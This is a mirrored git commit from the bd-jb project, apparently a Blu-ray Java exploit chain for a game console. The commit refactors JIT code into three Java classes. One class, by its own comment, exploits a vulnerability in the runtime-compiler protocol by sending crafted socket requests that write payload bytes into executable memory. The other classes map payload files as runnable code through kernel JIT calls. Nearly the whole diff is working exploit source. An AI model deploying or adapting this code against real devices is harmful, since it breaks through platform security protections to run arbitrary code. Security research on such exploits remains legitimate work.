mirror of
https://github.com/TheOfficialFloW/bd-jb
synced 2024-11-21 16:35:05 -05:00
Restructure JIT code and add default implementation.
This commit is contained in:
parent
077b002273
commit
f480a063ab
4
Makefile
4
Makefile
@ -8,7 +8,6 @@ TOOLS = tools
|
||||
CLASSES = \
|
||||
$(SRC)/com/bdjb/ExploitXlet.java \
|
||||
$(SRC)/com/bdjb/Exploit.java \
|
||||
$(SRC)/com/bdjb/JIT.java \
|
||||
$(SRC)/com/bdjb/Screen.java \
|
||||
$(SRC)/com/bdjb/api/API.java \
|
||||
$(SRC)/com/bdjb/api/Buffer.java \
|
||||
@ -21,6 +20,9 @@ CLASSES = \
|
||||
$(SRC)/com/bdjb/api/UnsafeInterface.java \
|
||||
$(SRC)/com/bdjb/api/UnsafeJdkImpl.java \
|
||||
$(SRC)/com/bdjb/api/UnsafeSunImpl.java \
|
||||
$(SRC)/com/bdjb/jit/AbstractJit.java \
|
||||
$(SRC)/com/bdjb/jit/JitDefaultImpl.java \
|
||||
$(SRC)/com/bdjb/jit/JitCompilerReceiverImpl.java \
|
||||
$(SRC)/com/bdjb/exploit/sandbox/ExploitSandboxInterface.java \
|
||||
$(SRC)/com/bdjb/exploit/sandbox/ExploitDefaultImpl.java \
|
||||
$(SRC)/com/bdjb/exploit/sandbox/ExploitUserPrefsImpl.java \
|
||||
|
114
src/com/bdjb/jit/AbstractJit.java
Normal file
114
src/com/bdjb/jit/AbstractJit.java
Normal file
@ -0,0 +1,114 @@
|
||||
/*
|
||||
* Copyright (C) 2021 Andy Nguyen
|
||||
*
|
||||
* This software may be modified and distributed under the terms
|
||||
* of the MIT license. See the LICENSE file for details.
|
||||
*/
|
||||
|
||||
package com.bdjb.jit;
|
||||
|
||||
import com.bdjb.api.API;
|
||||
import java.io.RandomAccessFile;
|
||||
|
||||
abstract class AbstractJit {
|
||||
public static final int PROT_NONE = 0x0;
|
||||
public static final int PROT_READ = 0x1;
|
||||
public static final int PROT_WRITE = 0x2;
|
||||
public static final int PROT_EXEC = 0x4;
|
||||
|
||||
public static final int MAP_SHARED = 0x1;
|
||||
public static final int MAP_PRIVATE = 0x2;
|
||||
public static final int MAP_FIXED = 0x10;
|
||||
public static final int MAP_ANONYMOUS = 0x1000;
|
||||
|
||||
public static final long MAP_FAILED = -1;
|
||||
|
||||
public static final int PAGE_SIZE = 0x4000;
|
||||
public static final int ALIGNMENT = 0x100000;
|
||||
|
||||
protected static final int CHUNK_SIZE = 0x30;
|
||||
|
||||
protected static final API api;
|
||||
|
||||
private static final String MMAP_SYMBOL = "mmap";
|
||||
|
||||
static {
|
||||
try {
|
||||
api = API.getInstance();
|
||||
} catch (Exception e) {
|
||||
throw new ExceptionInInitializerError(e);
|
||||
}
|
||||
}
|
||||
|
||||
protected long mmap;
|
||||
|
||||
protected AbstractJit() {
|
||||
mmap = api.dlsym(API.LIBKERNEL_MODULE_HANDLE, MMAP_SYMBOL);
|
||||
if (mmap == 0) {
|
||||
throw new InternalError("symbols not found");
|
||||
}
|
||||
}
|
||||
|
||||
protected long mmap(long addr, long len, int prot, int flags, int fd, long offset) {
|
||||
return api.call(mmap, addr, len, prot, flags, fd, offset);
|
||||
}
|
||||
|
||||
protected long align(long x, long align) {
|
||||
return (x + align - 1) & ~(align - 1);
|
||||
}
|
||||
|
||||
protected abstract long jitMap(long size, long alignment);
|
||||
|
||||
protected abstract void jitCopy(long dest, byte[] src, long n);
|
||||
|
||||
public long mapPayload(String path, long dataSectionOffset) throws Exception {
|
||||
RandomAccessFile file = new RandomAccessFile(path, "r");
|
||||
|
||||
if ((dataSectionOffset & (PAGE_SIZE - 1)) != 0) {
|
||||
throw new IllegalArgumentException("unaligned data section offset");
|
||||
}
|
||||
|
||||
if (dataSectionOffset < 0 || dataSectionOffset > file.length()) {
|
||||
throw new IllegalArgumentException("invalid data section offset");
|
||||
}
|
||||
|
||||
// Allocate JIT memory.
|
||||
long address = jitMap(file.length(), ALIGNMENT);
|
||||
|
||||
byte[] chunk = new byte[CHUNK_SIZE];
|
||||
|
||||
// Copy .text section.
|
||||
for (long i = 0; i < dataSectionOffset; i += chunk.length) {
|
||||
api.memset(chunk, 0, chunk.length);
|
||||
|
||||
file.seek(i);
|
||||
int read = file.read(chunk, 0, (int) Math.min(dataSectionOffset - i, chunk.length));
|
||||
|
||||
jitCopy(address + i, chunk, read);
|
||||
}
|
||||
|
||||
// Map the .data section as RW.
|
||||
if (mmap(
|
||||
address + dataSectionOffset,
|
||||
align(file.length() - dataSectionOffset, PAGE_SIZE),
|
||||
PROT_READ | PROT_WRITE,
|
||||
MAP_SHARED | MAP_FIXED | MAP_ANONYMOUS,
|
||||
-1,
|
||||
0)
|
||||
== MAP_FAILED) {
|
||||
throw new InternalError("mmap failed");
|
||||
}
|
||||
|
||||
// Copy .data section.
|
||||
for (long i = dataSectionOffset; i < file.length(); i += chunk.length) {
|
||||
api.memset(chunk, 0, chunk.length);
|
||||
|
||||
file.seek(i);
|
||||
int read = file.read(chunk, 0, (int) Math.min(file.length() - i, chunk.length));
|
||||
|
||||
api.memcpy(address + i, chunk, read);
|
||||
}
|
||||
|
||||
return address;
|
||||
}
|
||||
}
|
@ -5,37 +5,20 @@
|
||||
* of the MIT license. See the LICENSE file for details.
|
||||
*/
|
||||
|
||||
package com.bdjb;
|
||||
package com.bdjb.jit;
|
||||
|
||||
import com.bdjb.api.API;
|
||||
import com.bdjb.api.Buffer;
|
||||
import com.bdjb.api.Int8;
|
||||
import com.bdjb.api.Text;
|
||||
import java.io.RandomAccessFile;
|
||||
|
||||
/**
|
||||
* JIT class that exploits a vulnerability in the runtime-compiler protocol to map payloads to
|
||||
* JIT implementation that exploits a vulnerability in the runtime-compiler protocol to copy data to
|
||||
* executable memory.
|
||||
*/
|
||||
public final class JIT {
|
||||
public static final int PROT_NONE = 0x0;
|
||||
public static final int PROT_READ = 0x1;
|
||||
public static final int PROT_WRITE = 0x2;
|
||||
public static final int PROT_EXEC = 0x4;
|
||||
|
||||
public static final int MAP_SHARED = 0x1;
|
||||
public static final int MAP_PRIVATE = 0x2;
|
||||
public static final int MAP_FIXED = 0x10;
|
||||
public static final int MAP_ANONYMOUS = 0x1000;
|
||||
|
||||
public static final long MAP_FAILED = -1;
|
||||
|
||||
public final class JitCompilerReceiverImpl extends AbstractJit {
|
||||
// We actually have 32MB of code memory, but reserve 8MB for Java JIT.
|
||||
public static final int MAX_CODE_SIZE = 24 * 1024 * 1024;
|
||||
public static final int PAGE_SIZE = 0x4000;
|
||||
public static final int ALIGNMENT = 0x100000;
|
||||
|
||||
private static final int CHUNK_SIZE = 0x30;
|
||||
|
||||
private static final int SCE_KERNEL_MODULE_INFO_SIZE = 0x160;
|
||||
|
||||
@ -51,33 +34,28 @@ public final class JIT {
|
||||
(byte) 0x4C, (byte) 0x8B, (byte) 0x70, (byte) 0x08, (byte) 0x41
|
||||
};
|
||||
|
||||
private static final int BDJ_MODULE_HANDLE = 0;
|
||||
|
||||
private static final String SCE_KERNEL_GET_MODULE_INFO_SYMBOL = "sceKernelGetModuleInfo";
|
||||
private static final String MMAP_SYMBOL = "mmap";
|
||||
private static final String WRITE_SYMBOL = "write";
|
||||
private static final String READ_SYMBOL = "read";
|
||||
|
||||
private static final int BDJ_MODULE_HANDLE = 0;
|
||||
|
||||
private static JIT instance;
|
||||
|
||||
private final API api;
|
||||
private static JitCompilerReceiverImpl instance;
|
||||
|
||||
private long sceKernelGetModuleInfo;
|
||||
private long mmap;
|
||||
private long read;
|
||||
private long write;
|
||||
private long BufferBlob__create;
|
||||
|
||||
private int compilerAgentSocket;
|
||||
|
||||
private JIT() throws Exception {
|
||||
this.api = API.getInstance();
|
||||
private JitCompilerReceiverImpl() {
|
||||
this.init();
|
||||
}
|
||||
|
||||
public static synchronized JIT getInstance() throws Exception {
|
||||
public static synchronized JitCompilerReceiverImpl getInstance() {
|
||||
if (instance == null) {
|
||||
instance = new JIT();
|
||||
instance = new JitCompilerReceiverImpl();
|
||||
}
|
||||
return instance;
|
||||
}
|
||||
@ -90,7 +68,6 @@ public final class JIT {
|
||||
private void initSymbols() {
|
||||
sceKernelGetModuleInfo =
|
||||
api.dlsym(API.LIBKERNEL_MODULE_HANDLE, SCE_KERNEL_GET_MODULE_INFO_SYMBOL);
|
||||
mmap = api.dlsym(API.LIBKERNEL_MODULE_HANDLE, MMAP_SYMBOL);
|
||||
read = api.dlsym(API.LIBKERNEL_MODULE_HANDLE, READ_SYMBOL);
|
||||
write = api.dlsym(API.LIBKERNEL_MODULE_HANDLE, WRITE_SYMBOL);
|
||||
|
||||
@ -103,7 +80,7 @@ public final class JIT {
|
||||
Buffer modinfo = new Buffer(SCE_KERNEL_MODULE_INFO_SIZE);
|
||||
modinfo.fill((byte) 0);
|
||||
modinfo.putLong(0x00, SCE_KERNEL_MODULE_INFO_SIZE);
|
||||
if (api.call(sceKernelGetModuleInfo, BDJ_MODULE_HANDLE, modinfo.address()) != 0) {
|
||||
if (sceKernelGetModuleInfo(BDJ_MODULE_HANDLE, modinfo) != 0) {
|
||||
throw new InternalError("sceKernelGetModuleInfo failed");
|
||||
}
|
||||
|
||||
@ -137,16 +114,28 @@ public final class JIT {
|
||||
api.read32(compilerAgentSocketOpcode + api.read32(compilerAgentSocketOpcode + 0x3) + 0x7);
|
||||
}
|
||||
|
||||
private long align(long x, long align) {
|
||||
return (x + align - 1) & ~(align - 1);
|
||||
int sceKernelGetModuleInfo(int modid, Buffer info) {
|
||||
return (int) api.call(sceKernelGetModuleInfo, modid, info != null ? info.address() : 0);
|
||||
}
|
||||
|
||||
public long jitMap(long size, long alignment) {
|
||||
long write(int fd, Buffer buf, long nbytes) {
|
||||
return api.call(write, fd, buf != null ? buf.address() : 0, nbytes);
|
||||
}
|
||||
|
||||
long read(int fd, Buffer buf, long nbytes) {
|
||||
return api.call(read, fd, buf != null ? buf.address() : 0, nbytes);
|
||||
}
|
||||
|
||||
long BufferBlob__create(Text name, int buffer_size) {
|
||||
return api.call(BufferBlob__create, name != null ? name.address() : 0, buffer_size);
|
||||
}
|
||||
|
||||
protected long jitMap(long size, long alignment) {
|
||||
if (size >= MAX_CODE_SIZE) {
|
||||
throw new IllegalArgumentException("size too big");
|
||||
}
|
||||
Text name = new Text("jit");
|
||||
long blob = api.call(BufferBlob__create, name.address(), size + 0x88 + alignment - 1);
|
||||
long blob =
|
||||
BufferBlob__create(new Text("jit"), (int) (align(size + 0x88 + alignment - 1, PAGE_SIZE)));
|
||||
if (blob == 0) {
|
||||
throw new OutOfMemoryError("BufferBlob__create failed");
|
||||
}
|
||||
@ -154,80 +143,32 @@ public final class JIT {
|
||||
return align(code, alignment);
|
||||
}
|
||||
|
||||
public void jitCopy(long dest, byte[] src, long n) {
|
||||
protected void jitCopy(long dest, byte[] src, long n) {
|
||||
Buffer req = new Buffer(COMPILER_AGENT_REQUEST_SIZE);
|
||||
Int8 resp = new Int8();
|
||||
|
||||
byte[] chunk = new byte[CHUNK_SIZE];
|
||||
|
||||
for (long i = 0; i < n; i += CHUNK_SIZE) {
|
||||
api.memset(chunk, 0, CHUNK_SIZE);
|
||||
for (long i = 0; i < n; i += chunk.length) {
|
||||
api.memset(chunk, 0, chunk.length);
|
||||
|
||||
System.arraycopy(src, (int) i, chunk, 0, (int) Math.min(n - i, CHUNK_SIZE));
|
||||
System.arraycopy(src, (int) i, chunk, 0, (int) Math.min(n - i, chunk.length));
|
||||
|
||||
req.fill((byte) 0);
|
||||
req.put(0x00, chunk);
|
||||
req.putLong(0x38, dest + i - 0x28);
|
||||
api.call(write, compilerAgentSocket, req.address(), req.size());
|
||||
if (write(compilerAgentSocket, req, req.size()) != req.size()) {
|
||||
throw new InternalError("write failed");
|
||||
}
|
||||
|
||||
resp.set((byte) 0);
|
||||
api.call(read, compilerAgentSocket, resp.address(), resp.size());
|
||||
if (read(compilerAgentSocket, resp, resp.size()) != resp.size()) {
|
||||
throw new InternalError("read failed");
|
||||
}
|
||||
|
||||
if (resp.get() != ACK_MAGIC_NUMBER) {
|
||||
throw new AssertionError("wrong compiler response");
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
public long mapPayload(String path, long dataSectionOffset) throws Exception {
|
||||
RandomAccessFile file = new RandomAccessFile(path, "r");
|
||||
|
||||
if ((dataSectionOffset & (PAGE_SIZE - 1)) != 0) {
|
||||
throw new IllegalArgumentException("unaligned data section offset");
|
||||
}
|
||||
|
||||
if (dataSectionOffset < 0 || dataSectionOffset > file.length()) {
|
||||
throw new IllegalArgumentException("invalid data section offset");
|
||||
}
|
||||
|
||||
// Allocate JIT memory.
|
||||
long address = jitMap(file.length(), ALIGNMENT);
|
||||
|
||||
byte[] chunk = new byte[CHUNK_SIZE];
|
||||
|
||||
// Copy .text section.
|
||||
for (long i = 0; i < dataSectionOffset; i += CHUNK_SIZE) {
|
||||
api.memset(chunk, 0, CHUNK_SIZE);
|
||||
|
||||
file.seek(i);
|
||||
int read = file.read(chunk, 0, (int) Math.min(dataSectionOffset - i, CHUNK_SIZE));
|
||||
|
||||
jitCopy(address + i, chunk, read);
|
||||
}
|
||||
|
||||
// Map the .data section as RW.
|
||||
if (api.call(
|
||||
mmap,
|
||||
address + dataSectionOffset,
|
||||
align(file.length() - dataSectionOffset, PAGE_SIZE),
|
||||
PROT_READ | PROT_WRITE,
|
||||
MAP_SHARED | MAP_FIXED | MAP_ANONYMOUS,
|
||||
-1,
|
||||
0)
|
||||
== MAP_FAILED) {
|
||||
throw new InternalError("mmap failed");
|
||||
}
|
||||
|
||||
// Copy .data section.
|
||||
for (long i = dataSectionOffset; i < file.length(); i += CHUNK_SIZE) {
|
||||
api.memset(chunk, 0, CHUNK_SIZE);
|
||||
|
||||
file.seek(i);
|
||||
int read = file.read(chunk, 0, (int) Math.min(file.length() - i, CHUNK_SIZE));
|
||||
|
||||
api.memcpy(address + i, chunk, read);
|
||||
}
|
||||
|
||||
return address;
|
||||
}
|
||||
}
|
131
src/com/bdjb/jit/JitDefaultImpl.java
Normal file
131
src/com/bdjb/jit/JitDefaultImpl.java
Normal file
@ -0,0 +1,131 @@
|
||||
/*
|
||||
* Copyright (C) 2021 Andy Nguyen
|
||||
*
|
||||
* This software may be modified and distributed under the terms
|
||||
* of the MIT license. See the LICENSE file for details.
|
||||
*/
|
||||
|
||||
package com.bdjb.jit;
|
||||
|
||||
import com.bdjb.api.API;
|
||||
import com.bdjb.api.Buffer;
|
||||
import com.bdjb.api.Int32;
|
||||
import com.bdjb.api.Int64;
|
||||
import com.bdjb.api.Text;
|
||||
|
||||
/** Default JIT implementation using SCE API. */
|
||||
public final class JitDefaultImpl extends AbstractJit {
|
||||
private static final String SCE_KERNEL_JIT_CREATE_SHARED_MEMORY_SYMBOL =
|
||||
"sceKernelJitCreateSharedMemory";
|
||||
private static final String SCE_KERNEL_JIT_CREATE_ALIAS_OF_SHARED_MEMORY_SYMBOL =
|
||||
"sceKernelJitCreateAliasOfSharedMemory";
|
||||
private static final String SCE_KERNEL_JIT_MAP_SHARED_MEMORY_SYMBOL =
|
||||
"sceKernelJitMapSharedMemory";
|
||||
|
||||
private static JitDefaultImpl instance;
|
||||
|
||||
private long sceKernelJitCreateSharedMemory;
|
||||
private long sceKernelJitCreateAliasOfSharedMemory;
|
||||
private long sceKernelJitMapSharedMemory;
|
||||
|
||||
private Int32 sharedHandle = new Int32();
|
||||
private Int32 aliasHandle = new Int32();
|
||||
|
||||
private long rx;
|
||||
private long rw;
|
||||
|
||||
private JitDefaultImpl() {
|
||||
sceKernelJitCreateSharedMemory =
|
||||
api.dlsym(API.LIBKERNEL_MODULE_HANDLE, SCE_KERNEL_JIT_CREATE_SHARED_MEMORY_SYMBOL);
|
||||
sceKernelJitCreateAliasOfSharedMemory =
|
||||
api.dlsym(API.LIBKERNEL_MODULE_HANDLE, SCE_KERNEL_JIT_CREATE_ALIAS_OF_SHARED_MEMORY_SYMBOL);
|
||||
sceKernelJitMapSharedMemory =
|
||||
api.dlsym(API.LIBKERNEL_MODULE_HANDLE, SCE_KERNEL_JIT_MAP_SHARED_MEMORY_SYMBOL);
|
||||
|
||||
if (sceKernelJitCreateSharedMemory == 0
|
||||
|| sceKernelJitCreateAliasOfSharedMemory == 0
|
||||
|| sceKernelJitMapSharedMemory == 0) {
|
||||
throw new InternalError("symbols not found");
|
||||
}
|
||||
}
|
||||
|
||||
public static synchronized JitDefaultImpl getInstance() {
|
||||
if (instance == null) {
|
||||
instance = new JitDefaultImpl();
|
||||
}
|
||||
return instance;
|
||||
}
|
||||
|
||||
int sceKernelJitCreateSharedMemory(Text name, long len, int maxProt, Int32 fdOut) {
|
||||
return (int)
|
||||
api.call(
|
||||
sceKernelJitCreateSharedMemory,
|
||||
name.address(),
|
||||
len,
|
||||
maxProt,
|
||||
fdOut != null ? fdOut.address() : 0);
|
||||
}
|
||||
|
||||
int sceKernelJitCreateAliasOfSharedMemory(int fd, int maxProt, Int32 fdOut) {
|
||||
return (int)
|
||||
api.call(
|
||||
sceKernelJitCreateAliasOfSharedMemory,
|
||||
fd,
|
||||
maxProt,
|
||||
fdOut != null ? fdOut.address() : 0);
|
||||
}
|
||||
|
||||
int sceKernelJitMapSharedMemory(int fd, int prot, Int64 startOut) {
|
||||
return (int)
|
||||
api.call(sceKernelJitMapSharedMemory, fd, prot, startOut != null ? startOut.address() : 0);
|
||||
}
|
||||
|
||||
protected long jitMap(long size, long alignment) {
|
||||
if (sceKernelJitCreateSharedMemory(
|
||||
new Text("jit"),
|
||||
align(size + alignment - 1, PAGE_SIZE),
|
||||
PROT_READ | PROT_WRITE | PROT_EXEC,
|
||||
sharedHandle)
|
||||
< 0) {
|
||||
throw new InternalError("sceKernelJitCreateSharedMemory failed");
|
||||
}
|
||||
|
||||
if (sceKernelJitCreateAliasOfSharedMemory(
|
||||
sharedHandle.get(), PROT_READ | PROT_WRITE, aliasHandle)
|
||||
< 0) {
|
||||
throw new InternalError("sceKernelJitCreateAliasOfSharedMemory failed");
|
||||
}
|
||||
|
||||
if ((rx =
|
||||
mmap(
|
||||
0,
|
||||
align(size + alignment - 1, PAGE_SIZE),
|
||||
PROT_READ | PROT_EXEC,
|
||||
MAP_SHARED,
|
||||
sharedHandle.get(),
|
||||
0))
|
||||
== MAP_FAILED) {
|
||||
throw new InternalError("mmap failed");
|
||||
}
|
||||
rx = align(rx, alignment);
|
||||
|
||||
if ((rw =
|
||||
mmap(
|
||||
0,
|
||||
align(size + alignment - 1, PAGE_SIZE),
|
||||
PROT_READ | PROT_WRITE,
|
||||
MAP_SHARED,
|
||||
aliasHandle.get(),
|
||||
0))
|
||||
== MAP_FAILED) {
|
||||
throw new InternalError("mmap failed");
|
||||
}
|
||||
rw = align(rw, alignment);
|
||||
|
||||
return rx;
|
||||
}
|
||||
|
||||
protected void jitCopy(long dest, byte[] src, long n) {
|
||||
api.memcpy(dest - rx + rw, src, n);
|
||||
}
|
||||
}
|
Loading…
Reference in New Issue
Block a user